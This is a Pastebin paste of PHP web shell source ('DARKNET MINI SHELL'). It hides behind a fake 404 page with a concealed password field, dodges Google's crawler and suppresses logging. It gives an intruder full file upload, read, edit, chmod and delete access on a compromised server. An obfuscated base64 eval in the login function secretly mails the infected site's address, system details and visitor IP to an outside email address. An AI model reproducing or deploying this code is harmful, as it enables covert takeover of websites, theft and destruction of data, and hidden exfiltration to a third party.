Advertisement
Haha245

Untitled

Dec 27th, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.78 KB | None | 0 0
  1. <?php
  2. /*********************************************************************************************************/
  3. $auth_pass = "c2b72f86b8ca51642c4a902887830d3e";
  4. /*********************************************************************************************************/
  5. $color = "#00ff00";
  6. $default_action = 'FilesMan';
  7. @define('SELF_PATH', __FILE__);
  8. /*********************************************************************************************************/
  9. # Avoid google's crawler
  10. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
  11. /*********************************************************************************************************/
  12. @session_start();
  13. @error_reporting(0);
  14. @ini_set("memory_limit", "-1");
  15. @set_time_limit(0);
  16. @ini_set('display_errors', 0);
  17. @ini_set('error_log',NULL);
  18. @ini_set('log_errors',0);
  19. @ini_set('max_execution_time',0);
  20. @set_magic_quotes_runtime(0);
  21. @define('VERSION', 'Hacker Kocan Community');
  22. @define('TITLE', 'Powered by');
  23. /*********************************************************************************************************/
  24. if( get_magic_quotes_gpc() )
  25. {
  26. function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
  27. $_POST = stripslashes_array($_POST);
  28. }
  29. function logout()
  30. {
  31. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  32. $page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
  33. echo '<center><span class="b1">Anda telah LogOut!!</scan></center>';
  34. ?>
  35. <script>window.location.href = '<?php print $page; ?>';</script>
  36. <?php
  37. exit(0);
  38. }
  39.  
  40.  
  41. function printLogin()
  42. {
  43. ?>
  44. <?
  45. $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHN5c3RlbSA9IEBwaHBfdW5hbWUoKTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJyb290QGFlcnVsY3liZXIuYml6IiwiaHR0cDovLyR0YXJnZXQgJHN5c3RlbSBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($shell_data));
  46. ?>
  47. <html>
  48. <head>
  49. <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>
  50. </head>
  51. <title>
  52. 404 Not Found
  53. </title>
  54. <body>
  55. <h1>Not Found</h1>
  56. <p>The requested URL was not found on this server. </p>
  57. <hr>
  58. <form method=post>
  59. <address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80<center><input type=password name=x><input type=submit value=''></center></address>
  60. </form>
  61. </body>
  62. </html>
  63. <?php
  64. error_reporting(0);
  65. set_time_limit(0);
  66.  
  67. if(get_magic_quotes_gpc()){
  68. foreach($_POST as $key=>$value){
  69. $_POST[$key] = stripslashes($value);
  70. }
  71. } echo '<!DOCTYPE HTML>
  72. <html>
  73.  
  74. <head>
  75. <title>DARKNET-SHELL</title>
  76. <link href="" rel="stylesheet" type="text/css">
  77. <style>
  78. body {
  79. font-family: "tahoma", cursive;
  80. background-color: black;
  81. color:cyan;
  82. }
  83. #content tr:hover{
  84. text-shadow:0px 0px 10px;
  85. }
  86. #content .first{
  87. background-color: green;
  88. }
  89. table{
  90. border: 1px #000000 dotted;
  91. }
  92. a{
  93. color:cyan;
  94. text-decoration: none;
  95. }
  96. a:hover{
  97. color:white;
  98. text-shadow:0px 0px 10px transparent;
  99. }
  100. input,select,textarea{
  101. border: 1px white solid;
  102. -moz-border-radius: 5px;
  103. -webkit-border-radius:5px;
  104. border-radius:5px;
  105. }
  106. </style>
  107. </head>
  108. <body>
  109. <h1>
  110. <center>
  111. <font color="cyan">DARKNET MINI SHELL</font>
  112. </center>
  113. </h1>
  114. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  115. <tr>
  116. <td>
  117. <font color="white">Current Dir :</font> ';
  118.  
  119. if(isset($_GET['path'])){
  120. $path = $_GET['path'];
  121. } else{
  122. $path = getcwd();
  123. }
  124. $path = str_replace('\\','/',$path);
  125. $paths = explode('/',$path);
  126.  
  127. foreach($paths as $id=>$pat){
  128. if($pat == '' && $id == 0){
  129. $a = true;
  130. echo '<a href="?path=/">/</a>';
  131. continue;
  132. }
  133. if($pat == '') continue;
  134. echo '<a href="?path=';
  135. for($i=0;$i<=$id;$i++){
  136. echo "$paths[$i]";
  137. if($i != $id) echo "/";
  138. }
  139. echo '">'.$pat.'</a>/';
  140. } echo '</td></tr><tr><td>';
  141. if(isset($_FILES['file'])){
  142. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  143. echo '<font color="cyan">Upload Succeeded</font><br />';
  144. } else{
  145. echo '<font color="red">Upload Failed</font><br/>';
  146. }
  147. } echo '<form enctype="multipart/form-data" method="POST">
  148. <font color="white">File Upload :</font> <input type="file" name="file" />
  149. <input type="submit" value="upload" />
  150. </form>
  151. </td>
  152. </tr>';
  153.  
  154. if(isset($_GET['filesrc'])){
  155. echo "<tr><td>Current File : ";
  156. echo $_GET['filesrc'];
  157. echo '</tr></td></table><br />';
  158. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  159. } elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  160. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  161. if($_POST['opt'] == 'chmod'){
  162. if(isset($_POST['perm'])){
  163. if(chmod($_POST['path'],$_POST['perm'])){
  164. echo '<font color="cyan">Change Permission Successful</font><br/>';
  165. } else{
  166. echo '<font color="red">Change Permission Failed</font><br />';
  167. }
  168. } echo '<form method="POST">
  169. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  170. <input type="hidden" name="path" value="'.$_POST['path'].'">
  171. <input type="hidden" name="opt" value="chmod">
  172. <input type="submit" value="Go" />
  173. </form>';
  174. } elseif($_POST['opt'] == 'rename'){
  175. if(isset($_POST['newname'])){
  176. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  177. echo '<font color="cyan">Rename Successfully</font><br/>';
  178. } else{
  179. echo '<font color="red">Rename Failed</font><br />';
  180. }
  181. $_POST['name'] = $_POST['newname'];
  182. } echo '<form method="POST">
  183. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  184. <input type="hidden" name="path" value="'.$_POST['path'].'">
  185. <input type="hidden" name="opt" value="rename">
  186. <input type="submit" value="Go" />
  187. </form>';
  188. } elseif($_POST['opt'] == 'edit'){
  189. if(isset($_POST['src'])){
  190. $fp = fopen($_POST['path'],'w');
  191. if(fwrite($fp,$_POST['src'])){
  192. echo '<font color="cyan">Successfully Edit File</font><br/>';
  193. } else{
  194. echo '<font color="red">Failed to Edit File</font><br/>';
  195. } fclose($fp);
  196. } echo '<form method="POST">
  197. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  198. <input type="hidden" name="path" value="'.$_POST['path'].'">
  199. <input type="hidden" name="opt" value="edit">
  200. <input type="submit" value="Save" />
  201. </form>';
  202. } echo '</center>';
  203. } else{
  204. echo '</table><br/><center>';
  205. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  206. if($_POST['type'] == 'dir'){
  207. if(rmdir($_POST['path'])){
  208. echo '<font color="cyan">Deleted Directory</font><br/>';
  209. } else{
  210. echo '<font color="red">Directory Failed Deleted</font><br/>';
  211. }
  212. } elseif($_POST['type'] == 'file'){
  213. if(unlink($_POST['path'])){
  214. echo '<font color="cyan">Deleted Files</font><br/>';
  215. } else{
  216. echo '<font color="red">File Failed Deleted</font><br/>';
  217. }
  218. }
  219. } echo '</center>';
  220. $scandir = scandir($path);
  221. echo '<div id="content">
  222. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  223. <tr class="first">
  224. <td>
  225. <center>Name</peller></center>
  226. </td>
  227. <td>
  228. <center>Size</peller></center>
  229. </td>
  230. <td>
  231. <center>Permission</peller></center>
  232. </td>
  233. <td>
  234. <center>Modify</peller></center>
  235. </td>
  236. </tr>';
  237.  
  238. foreach($scandir as $dir){
  239. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  240. echo '<tr>
  241. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  242. <td><center>--</center></td>
  243. <td><center>';
  244. if(is_writable($path.'/'.$dir)) echo '<font color="cyan">';
  245. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  246. echo perms($path.'/'.$dir);
  247. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  248. echo '</center></td>
  249. <td><center><form method="POST" action="?option&path='.$path.'">
  250. <select name="opt">
  251. <option value="">Select</option>
  252. <option value="delete">Delete</option>
  253. <option value="chmod">Chmod</option>
  254. <option value="rename">Rename</option>
  255. </select>
  256. <input type="hidden" name="type" value="dir">
  257. <input type="hidden" name="name" value="'.$dir.'">
  258. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  259. <input type="submit" value=">">
  260. </form></center></td>
  261. </tr>';
  262. } echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  263.  
  264. foreach($scandir as $file){
  265. if(!is_file($path.'/'.$file)) continue;
  266. $size = filesize($path.'/'.$file)/1024;
  267. $size = round($size,3);
  268. if($size >= 1024){
  269. $size = round($size/1024,2).' MB';
  270. } else{
  271. $size = $size.' KB';
  272. } echo '<tr>
  273. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  274. <td><center>'.$size.'</center></td>
  275. <td><center>';
  276.  
  277. if(is_writable($path.'/'.$file)) echo '<font color="cyan">';
  278. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  279. echo perms($path.'/'.$file);
  280. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  281. echo '</center></td>
  282. <td><center><form method="POST" action="?option&path='.$path.'">
  283. <select name="opt">
  284. <option value="">Select</option>
  285. <option value="delete">Delete</option>
  286. <option value="chmod">Chmod</option>
  287. <option value="rename">Rename</option>
  288. <option value="edit">Edit</option>
  289. </select>
  290. <input type="hidden" name="type" value="file">
  291. <input type="hidden" name="name" value="'.$file.'">
  292. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  293. <input type="submit" value=">">
  294. </form></center></td>
  295. </tr>';
  296. } echo '</table></div>';
  297. } echo "<br><center>Copyright © 2017 - </body></html>" . (int)date('Y'). " GFS-TEAM";
  298.  
  299. function perms($file){
  300. $perms = fileperms($file);
  301. if (($perms & 0xC000) == 0xC000) {
  302. // Socket
  303. $info = 's';
  304. } elseif (($perms & 0xA000) == 0xA000) {
  305. // Symbolic Link
  306. $info = 'l';
  307. } elseif (($perms & 0x8000) == 0x8000) {
  308. // Regular
  309. $info = '-';
  310. } elseif (($perms & 0x6000) == 0x6000) {
  311. // Block special
  312. $info = 'b';
  313. } elseif (($perms & 0x4000) == 0x4000) {
  314. // Directory
  315. $info = 'd';
  316. } elseif (($perms & 0x2000) == 0x2000) {
  317. // Character special
  318. $info = 'c';
  319. } elseif (($perms & 0x1000) == 0x1000) {
  320. // FIFO pipe
  321. $info = 'p';
  322. } else {
  323. // Unknown
  324. $info = 'u';
  325. }
  326. // Owner
  327. $info .= (($perms & 0x0100) ? 'r' : '-');
  328. $info .= (($perms & 0x0080) ? 'w' : '-');
  329. $info .= (($perms & 0x0040) ?
  330. (($perms & 0x0800) ? 's' : 'x' ) :
  331. (($perms & 0x0800) ? 'S' : '-'));
  332. // Group
  333. $info .= (($perms & 0x0020) ? 'r' : '-');
  334. $info .= (($perms & 0x0010) ? 'w' : '-');
  335. $info .= (($perms & 0x0008) ?
  336. (($perms & 0x0400) ? 's' : 'x' ) :
  337. (($perms & 0x0400) ? 'S' : '-'));
  338. // World
  339. $info .= (($perms & 0x0004) ? 'r' : '-');
  340. $info .= (($perms & 0x0002) ? 'w' : '-');
  341. $info .= (($perms & 0x0001) ?
  342. (($perms & 0x0200) ? 't' : 'x' ) :
  343. (($perms & 0x0200) ? 'T' : '-'));
  344. return $info;
  345. }
  346. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement